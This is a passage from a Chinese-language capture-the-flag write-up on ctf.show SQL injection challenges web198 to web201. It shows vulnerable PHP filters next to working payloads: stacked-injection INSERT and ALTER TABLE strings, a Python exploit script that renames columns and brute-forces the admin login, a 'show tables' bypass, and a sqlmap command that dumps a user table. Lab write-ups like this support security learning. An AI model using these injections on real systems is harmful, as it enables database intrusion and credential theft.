"username": f"0x{'admin'.encode().hex()}",
"password": 1
}
response = requests.post(url, data=data)
if success_flag in response.text:
print(f"[*] msg: {response.text}")
return

if __name__ == "__main__":
print("[*] change column id to pass")
alter_table()
print("[*] brute force admin password")
brute_force_admin()

web198

1
2
3
4
5
6
7
8
9
10
11
12
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

与上题相比过滤了 update create drop 等操作

但注意这里的 username= 后面依然没加引号

根据 mysql 的类型转换, 输入数字时, 记录中的数据都会转换成 int 类型, 非数字开头的 string 被转换时会变成 0

这里我们猜测所有 username 被转换后都是 0

然后我们插入一条 username=1 的记录, 登录即可

1
username=1;insert ctfshow_user(username,pass) values(1,1)&password=1

或者用web197互换 id 和 password 列名爆破脚本也可

web199

1
2
3
4
5
6
7
8
9
10
11
12
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

有过滤的数字型注入,没有过滤分号可堆叠注入。
正则禁用了括号,password 改用 text 类型,id 改用 int 类型

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests

url = "http://28794eff-d2ff-4c41-8113-32db528b22a4.challenge.ctf.show/api/"


def alter_table():
data = {
"username": "0;alter table ctfshow_user change column pass tmp text;alter table ctfshow_user change "
"column id pass int;alter table ctfshow_user change column tmp id text",
"password": 1
}
_ = requests.post(url, data=data)


success_flag = "\\u767b\\u9646\\u6210\\u529f"


def brute_force_admin():
for i in range(300):
data = {
"username": f"0x{'admin'.encode().hex()}",
"password": 1
}
response = requests.post(url, data=data)
if success_flag in response.text:
print(f"[*] msg: {response.text}")
return


if __name__ == "__main__":
print("[*] change column id to pass")
alter_table()
print("[*] brute force admin password")
brute_force_admin()

另一种思路

insert 操作不能用了
因为这里是堆叠注入, 类似之前有一题通过 select(1) 把原本的 pass 顶掉
这里用 show tables 语句
猜测数据表只有一张 ctfshow_user, 所以上句返回的第一条结果就是 ctfshow_user, 然后存到 $row[0] 里面

1
2
username: 1;show tables
password: ctfshow_user

web200

1
2
3
4
5
6
7
8
9
10
11
12
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

同web199

web201

1
2
3
4
5
6
7
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."';";

//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

sqlmap 工具使用练习。
题目提示 –user-agent 指定 user-agent
题目还指定使用 –referer 绕过 referer 检查,带着 sqlmap 的 ua 访问会提示“打击盗版人人有责,你都不是从ctf.show来的”,故指定 referer 为 ctf.show。

1
python3 sqlmap.py -u "http://e63e63fb-1d60-4720-8fd3-e73566abdfd4.challenge.ctf.show/api/?id=1" --user-agent "sqlmap" --referer "http://e63e63fb-1d60-4720-8fd3-e73566abdfd4.challenge.ctf.show/sqlmap.php" -t 20 --dump -T ctfshow_user -D ctfshow_web